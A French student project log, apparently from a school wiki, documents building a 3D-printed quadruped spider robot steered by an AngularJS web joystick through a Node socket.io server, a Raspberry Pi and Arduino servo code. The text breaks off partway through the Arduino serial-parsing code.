Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc 2 événements : &lt;br /&gt;
* lors d'un clic : une variable est mise à jour &amp;quot;mouseIsDown&amp;quot; pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0). &lt;br /&gt;
* lors d'un mouvement de la souris si &amp;quot;mouseIsDown&amp;quot; est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.&lt;br /&gt;
&lt;br /&gt;
La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100. &lt;br /&gt;
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.&lt;br /&gt;
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
main.js : (définition de l'application et de ses dépendances)&lt;br /&gt;
&lt;br /&gt;
 angular.module('spiderApp')&lt;br /&gt;
  .controller('MainCtrl', function () {&lt;br /&gt;
    this.awesomeThings = [&lt;br /&gt;
      'HTML5 Boilerplate',&lt;br /&gt;
      'AngularJS',&lt;br /&gt;
      'Karma'&lt;br /&gt;
    ];&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
deplacement.js : (fonctionnement dynamique du joystick de la page web)&lt;br /&gt;
&lt;br /&gt;
  angular.module('spiderApp').controller('deplacementCtrl', function($scope) {&lt;br /&gt;
    $scope.positionX=200;&lt;br /&gt;
    $scope.positionY=200;&lt;br /&gt;
    $scope.mouseIsDown=false;&lt;br /&gt;
    posXstr=$scope.positionX.toString();&lt;br /&gt;
    posYstr=$scope.positionY.toString();&lt;br /&gt;
    $scope.posjoy = {&lt;br /&gt;
      &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;position&amp;quot; : &amp;quot;absolute&amp;quot;,&lt;br /&gt;
      &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
    };&lt;br /&gt;
    var socket = io.connect('http://172.26.79.4:8080');&lt;br /&gt;
    $scope.clickDown = function(event){&lt;br /&gt;
      if($scope.mouseIsDown==false)&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = true;&lt;br /&gt;
        $scope.positionX = event.target.offsetLeft+(event.offsetX-50);&lt;br /&gt;
        $scope.positionY = event.target.offsetTop+(event.offsetY-50);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = false;&lt;br /&gt;
        $scope.positionX = 200;&lt;br /&gt;
        $scope.positionY = 200;&lt;br /&gt;
        console.log($scope.mouseIsDown);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
    };&lt;br /&gt;
    $scope.moveJoystickOutside = function(event) {&lt;br /&gt;
      if ($scope.mouseIsDown == true) {&lt;br /&gt;
        window.setTimeout(function() {&lt;br /&gt;
        ecartX=parseInt(getComputedStyle(joystick).left, 10);&lt;br /&gt;
        ecartY=parseInt(getComputedStyle(joystick).top, 10);&lt;br /&gt;
        //on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image&lt;br /&gt;
        //+20 en Y à cause du footer qui sera toujours de taille constante&lt;br /&gt;
        positionXProvisoire = event.clientX - ecartX -250;&lt;br /&gt;
        positionYProvisoire = -(event.clientY - ecartY-330);&lt;br /&gt;
        console.log(&amp;quot;posi prov X: &amp;quot;+positionXProvisoire);&lt;br /&gt;
        console.log(&amp;quot;posi prov Y: &amp;quot;+positionYProvisoire);&lt;br /&gt;
        //partie dans le cercle&lt;br /&gt;
        if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;gt;= 0 &amp;amp;&amp;amp; Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;lt; 1)&lt;br /&gt;
        {&lt;br /&gt;
          //50=moitié de la dimension de l'image du bouton avec l'araignée.&lt;br /&gt;
          //a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.&lt;br /&gt;
          $scope.positionX=event.clientX-ecartX-50;&lt;br /&gt;
          $scope.positionY=event.clientY-ecartY-130;&lt;br /&gt;
          console.log(&amp;quot;posi X: &amp;quot;+$scope.positionX);&lt;br /&gt;
          console.log(&amp;quot;posi Y: &amp;quot;+$scope.positionY);&lt;br /&gt;
          posXstr = $scope.positionX.toString();&lt;br /&gt;
          posYstr = $scope.positionY.toString();&lt;br /&gt;
          $scope.posjoy = {&lt;br /&gt;
            &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
            &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
          };&lt;br /&gt;
        }&lt;br /&gt;
        //partie en dehors du cercle&lt;br /&gt;
        else&lt;br /&gt;
          {&lt;br /&gt;
            hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));&lt;br /&gt;
            angle=Math.acos(positionXProvisoire/hypothenuse);&lt;br /&gt;
            if(-(event.clientY - ecartY-330)&amp;lt;0)&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((-Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            posXstr = $scope.positionX.toString();&lt;br /&gt;
            posYstr = $scope.positionY.toString();&lt;br /&gt;
            $scope.posjoy = {&lt;br /&gt;
              &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
              &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
            };&lt;br /&gt;
          }&lt;br /&gt;
        //attendre un peu pour ne pas embrouiller la transmition du signal&lt;br /&gt;
        socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
        }, 10);//delay en millisecondes&lt;br /&gt;
      }&lt;br /&gt;
    };&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
!!!!!!!!!!!!!!!!!!!!!!!PHOTO APPLICATION WEB !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances. &lt;br /&gt;
&lt;br /&gt;
- Réalisation des pièces nécessaires à la construction de l'araignée :&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad : &lt;br /&gt;
&lt;br /&gt;
PHOTO DES PIECES FREECAD&lt;br /&gt;
&lt;br /&gt;
Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces. &lt;br /&gt;
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module &amp;quot;serial-port&amp;quot; de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série. &lt;br /&gt;
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)&lt;br /&gt;
&lt;br /&gt;
 var express = require('express');&lt;br /&gt;
 var app = express();&lt;br /&gt;
 var server = require('http').Server(app);&lt;br /&gt;
 var io = require('socket.io')(server);&lt;br /&gt;
 var SerialPort = require(&amp;quot;serialport&amp;quot;);&lt;br /&gt;
 var port = new SerialPort(&amp;quot;/dev/ttyUSB1&amp;quot;,{baudRate: 115200, parity : 'none', autoOpen :false});&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../..&amp;quot;));&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../../../bower_components/&amp;quot;));&lt;br /&gt;
 port.open(function (error){&lt;br /&gt;
  if(error)&lt;br /&gt;
  {&lt;br /&gt;
    console.log('Error while opening the port ' + error);&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
      io.on('connection', function(socket) {&lt;br /&gt;
        console.log('new connection');&lt;br /&gt;
        socket.on('message', function (message) {&lt;br /&gt;
          port.write(message, function(err) {&lt;br /&gt;
            if (err) {&lt;br /&gt;
              return console.log('Error on write: ', err.message);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              console.log('Position : ' + message);&lt;br /&gt;
            }&lt;br /&gt;
          });&lt;br /&gt;
        });&lt;br /&gt;
      });&lt;br /&gt;
  }&lt;br /&gt;
 });&lt;br /&gt;
 server.listen(8080, function() {&lt;br /&gt;
  console.log('server up and running at 8080 port');&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
envoi des données sur le port série&lt;br /&gt;
&lt;br /&gt;
Configuration de la Raspberry : &lt;br /&gt;
&lt;br /&gt;
- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34&lt;br /&gt;
La Raspberry peut ainsi communiquer avec le réseau Polytech&lt;br /&gt;
&lt;br /&gt;
- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry&lt;br /&gt;
&lt;br /&gt;
- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &amp;amp; &lt;br /&gt;
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
     '''Assemblage des pièces''' :&lt;br /&gt;
&lt;br /&gt;
Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.&lt;br /&gt;
Nous avons alors, pour chaque patte :&lt;br /&gt;
&lt;br /&gt;
- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent&lt;br /&gt;
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
&lt;br /&gt;
Voici le rendu des pattes assemblées : &lt;br /&gt;
&lt;br /&gt;
                                                                          [[Fichier:Pattes.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Percage.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board. &lt;br /&gt;
&lt;br /&gt;
Voici une photo du rendu de l'araignée câblée :&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Araignée.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
C'est lors de cette séance supplémentaire que nous avons mis en place le code arduino permettant à notre quadripode d'avancer. Nous étions partis à la base sur un système de déplacement par poussée de deux pates opposées en même temps. Cependant, l'araignée était trop instable et tombait souvent. Les tentatives de compensations du poid du quadripode ont rendus le code trop lourd et nous avons donc décidés de changer sa façon d'avancer. Nous avons donc analysés une vidéo d'une mygale qui avance et avons ensuite compris le mécanisme de déplacement des araignés.&lt;br /&gt;
Le code réalisé est donc le suivant:&lt;br /&gt;
&lt;br /&gt;
 int delai=300;&lt;br /&gt;
 //val AD&lt;br /&gt;
 &lt;br /&gt;
  int ADepauleArriere=100;&lt;br /&gt;
 int ADepauleAvant=40;&lt;br /&gt;
 int ADcoudeBas=100;//50&lt;br /&gt;
 int ADcoudeDroit=30;//100&lt;br /&gt;
 int ADpoignetPerpendiculaire=70;&lt;br /&gt;
 int ADpoignetDroit=90;&lt;br /&gt;
&lt;br /&gt;
  //val ARG&lt;br /&gt;
 int ARGepauleArriere=20;&lt;br /&gt;
 int ARGepauleAvant=80;&lt;br /&gt;
 int ARGcoudeBas=80;&lt;br /&gt;
 int ARGcoudeDroit=140;&lt;br /&gt;
 int ARGpoignetPerpendiculaire=60;&lt;br /&gt;
 int ARGpoignetDroit=40;&lt;br /&gt;
&lt;br /&gt;
 //VAL AG&lt;br /&gt;
 int AGepauleArriere=40;&lt;br /&gt;
 int AGepauleAvant=100;&lt;br /&gt;
 int AGcoudeBas=110;&lt;br /&gt;
 int AGcoudeDroit=30;//haut&lt;br /&gt;
 int AGpoignetPerpendiculaire=90;&lt;br /&gt;
 int AGpoignetDroit=40;&lt;br /&gt;
 //VAL ARD&lt;br /&gt;
 int ARDepauleArriere=70;&lt;br /&gt;
 int ARDepauleAvant=30;&lt;br /&gt;
 int ARDcoudeBas=100;&lt;br /&gt;
 int ARDcoudeDroit=30;//haut&lt;br /&gt;
 int ARDpoignetPerpendiculaire=140;&lt;br /&gt;
 int ARDpoignetDroit=180;&lt;br /&gt;
 int i;&lt;br /&gt;
 int j;&lt;br /&gt;
 &lt;br /&gt;
 void setup() {&lt;br /&gt;
  servoADepaule.attach(2);&lt;br /&gt;
  &lt;br /&gt;
  servoADcoude.attach(3);&lt;br /&gt;
 &lt;br /&gt;
  servoADpoignet.attach(4);&lt;br /&gt;
  servoADpoignet.write(ADpoignetPerpendiculaire);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant);&lt;br /&gt;
  servoADcoude.write(ADcoudeBas);&lt;br /&gt;
  servoARGepaule.attach(5);&lt;br /&gt;
  servoARGcoude.attach(6);&lt;br /&gt;
  servoARGpoignet.attach(7);&lt;br /&gt;
  servoARGpoignet.write(ARGpoignetPerpendiculaire);&lt;br /&gt;
  servoARGepaule.write(ARGepauleArriere);&lt;br /&gt;
  servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
  servoAGepaule.attach(8);&lt;br /&gt;
  servoAGcoude.attach(9);&lt;br /&gt;
  servoAGpoignet.attach(10);&lt;br /&gt;
  servoAGpoignet.write(AGpoignetPerpendiculaire);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
  servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
  servoARDepaule.attach(11);&lt;br /&gt;
  servoARDcoude.attach(12);&lt;br /&gt;
  servoARDpoignet.attach(13);&lt;br /&gt;
  servoARDpoignet.write(ARDpoignetPerpendiculaire);&lt;br /&gt;
  servoARDepaule.write(ARDepauleArriere);&lt;br /&gt;
  servoARDcoude.write(ARDcoudeBas);  &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 void loop() {&lt;br /&gt;
  servoARDepaule.write(ARDepauleAvant+j);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant-j);&lt;br /&gt;
  servoARGepaule.write(ARGepauleAvant-i);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant+i);&lt;br /&gt;
  delay(20);&lt;br /&gt;
  if(j==50)&lt;br /&gt;
  {&lt;br /&gt;
    //on remet en avant AG et ARD&lt;br /&gt;
    servoAGcoude.write(AGcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDcoude.write(ARDcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDepaule.write(ARDepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    j=0;&lt;br /&gt;
  }&lt;br /&gt;
  if(i==50)&lt;br /&gt;
  {&lt;br /&gt;
    //on remet en avant AD et ARG&lt;br /&gt;
    servoADcoude.write(ADcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoADepaule.write(ADepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoADcoude.write(ADcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGcoude.write(ARGcoudeDroit);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGepaule.write(ARGepauleAvant);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
    delay(200);&lt;br /&gt;
    i=0;&lt;br /&gt;
  }&lt;br /&gt;
  i=i+5;&lt;br /&gt;
  j=j+5;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Ce code permet à l'araignée d'avancer ses pates de façon &amp;quot;asynchrone&amp;quot; (en réalité, l'asynchronisme est impossible sous arduino).&lt;br /&gt;
&lt;br /&gt;
Une fois que l'araignée avançait, nous avons dû mettre en place le contôle de celle-ci par le biais des informations envoyés par websocket. Dans notre cas,&lt;br /&gt;
le joystick envoi deux valeurs séparés par une virgule, la première correspondant à la composante en x et la seconde à la composante en y. Ainsi, nous stockons un à un les caractères reçu sur le port série de l'arduino jusqu'à tomber sur le séparateur. Nous stockons alors la valeur décimale des chiffres lus dans une variable. Il en est de même pour le nombre à droite du séparateur. Le code dans le setup() et dans le loop() devient donc :&lt;br /&gt;
&lt;br /&gt;
  int a;&lt;br /&gt;
  int b;&lt;br /&gt;
  int aPrint;&lt;br /&gt;
  int bPrint;&lt;br /&gt;
  int aMoins,bMoins;&lt;br /&gt;
  int debut;&lt;br /&gt;
  char firstVal[50];&lt;br /&gt;
  char secVal[50];&lt;br /&gt;
  char byteBuffer;&lt;br /&gt;
&lt;br /&gt;
  void setup() {&lt;br /&gt;
  servoADepaule.attach(2);&lt;br /&gt;
  &lt;br /&gt;
  servoADcoude.attach(3);&lt;br /&gt;
 &lt;br /&gt;
  servoADpoignet.attach(4);&lt;br /&gt;
  servoADpoignet.write(ADpoignetPerpendiculaire);&lt;br /&gt;
  servoADepaule.write(ADepauleAvant);&lt;br /&gt;
  servoADcoude.write(ADcoudeBas);&lt;br /&gt;
  servoARGepaule.attach(5);&lt;br /&gt;
  servoARGcoude.attach(6);&lt;br /&gt;
  servoARGpoignet.attach(7);&lt;br /&gt;
  servoARGpoignet.write(ARGpoignetPerpendiculaire);&lt;br /&gt;
  servoARGepaule.write(ARGepauleArriere);&lt;br /&gt;
  servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
  servoAGepaule.attach(8);&lt;br /&gt;
  servoAGcoude.attach(9);&lt;br /&gt;
  servoAGpoignet.attach(10);&lt;br /&gt;
  servoAGpoignet.write(AGpoignetPerpendiculaire);&lt;br /&gt;
  servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
  servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
  servoARDepaule.attach(11);&lt;br /&gt;
  servoARDcoude.attach(12);&lt;br /&gt;
  servoARDpoignet.attach(13);&lt;br /&gt;
  servoARDpoignet.write(ARDpoignetPerpendiculaire);&lt;br /&gt;
  servoARDepaule.write(ARDepauleArriere);&lt;br /&gt;
  servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
  &lt;br /&gt;
  delay(2000);&lt;br /&gt;
  i=0;&lt;br /&gt;
  j=25;&lt;br /&gt;
  Serial.begin(115200);&lt;br /&gt;
  a=0;&lt;br /&gt;
  b=0;&lt;br /&gt;
  aMoins=0;&lt;br /&gt;
  bMoins=0;&lt;br /&gt;
  i=0;&lt;br /&gt;
  debut=1;&lt;br /&gt;
  byteBuffer='a';&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
 void loop() {&lt;br /&gt;
  if(Serial.available() &amp;gt; 0)&lt;br /&gt;
  {&lt;br /&gt;
  while(Serial.available() &amp;gt; 0)&lt;br /&gt;
   {&lt;br /&gt;
     delay(10);&lt;br /&gt;
     byteBuffer = Serial.read(); &lt;br /&gt;
     if(debut==1)&lt;br /&gt;
     {&lt;br /&gt;
       if(byteBuffer==',')&lt;br /&gt;
       {&lt;br /&gt;
         debut=0;&lt;br /&gt;
       }  &lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
         a=10*a;&lt;br /&gt;
         switch(byteBuffer)&lt;br /&gt;
         {&lt;br /&gt;
         case '-':&lt;br /&gt;
           a=0;&lt;br /&gt;
           aMoins=1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '1':&lt;br /&gt;
           a=a+1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '2':&lt;br /&gt;
           a=a+2;&lt;br /&gt;
           break;&lt;br /&gt;
         case '3':&lt;br /&gt;
           a=a+3;&lt;br /&gt;
           break;&lt;br /&gt;
         case '4':&lt;br /&gt;
           a=a+4;&lt;br /&gt;
           break;&lt;br /&gt;
         case '5':&lt;br /&gt;
           a=a+5;&lt;br /&gt;
           break;&lt;br /&gt;
         case '6':&lt;br /&gt;
           a=a+6;&lt;br /&gt;
           break;&lt;br /&gt;
         case '7':&lt;br /&gt;
           a=a+7;&lt;br /&gt;
           break;&lt;br /&gt;
         case '8':&lt;br /&gt;
           a=a+8;&lt;br /&gt;
           break;&lt;br /&gt;
         case '9':&lt;br /&gt;
           a=a+9;&lt;br /&gt;
           break;&lt;br /&gt;
         default:&lt;br /&gt;
           break;  &lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
       if(byteBuffer==';')&lt;br /&gt;
       {&lt;br /&gt;
         if(aMoins==1)&lt;br /&gt;
         {&lt;br /&gt;
           a=-a;&lt;br /&gt;
         }&lt;br /&gt;
         if(bMoins==1)&lt;br /&gt;
         {&lt;br /&gt;
           b=-b;&lt;br /&gt;
         }&lt;br /&gt;
         debut=1;&lt;br /&gt;
         if(b&amp;gt;0)&lt;br /&gt;
         {&lt;br /&gt;
            servoARDepaule.write(ARDepauleAvant+j);&lt;br /&gt;
            servoAGepaule.write(AGepauleAvant-j);&lt;br /&gt;
            servoARGepaule.write(ARGepauleAvant-i);&lt;br /&gt;
            servoADepaule.write(ADepauleAvant+i); &lt;br /&gt;
            delay(20);&lt;br /&gt;
            if(j==50)&lt;br /&gt;
            {&lt;br /&gt;
              //on remet en avant AG et ARD&lt;br /&gt;
              servoAGcoude.write(AGcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoAGepaule.write(AGepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoAGcoude.write(AGcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
&lt;br /&gt;
              servoARDcoude.write(ARDcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARDepaule.write(ARDepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARDcoude.write(ARDcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              j=0;&lt;br /&gt;
            }&lt;br /&gt;
            if(i==50)&lt;br /&gt;
            {&lt;br /&gt;
              //on remet en avant AD et ARG&lt;br /&gt;
              servoADcoude.write(ADcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoADepaule.write(ADepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoADcoude.write(ADcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
&lt;br /&gt;
              servoARGcoude.write(ARGcoudeDroit);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARGepaule.write(ARGepauleAvant);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              servoARGcoude.write(ARGcoudeBas);&lt;br /&gt;
              delay(200);&lt;br /&gt;
              i=0;&lt;br /&gt;
            }&lt;br /&gt;
            i=i+5;&lt;br /&gt;
            j=j+5;&lt;br /&gt;
         &lt;br /&gt;
         }&lt;br /&gt;
         aMoins=0;&lt;br /&gt;
         bMoins=0;&lt;br /&gt;
       }&lt;br /&gt;
       else&lt;br /&gt;
       {&lt;br /&gt;
         b=10*b;&lt;br /&gt;
         switch(byteBuffer)&lt;br /&gt;
         {&lt;br /&gt;
         case '-':&lt;br /&gt;
           b=0;&lt;br /&gt;
           bMoins=1;&lt;br /&gt;
           break;&lt;br /&gt;
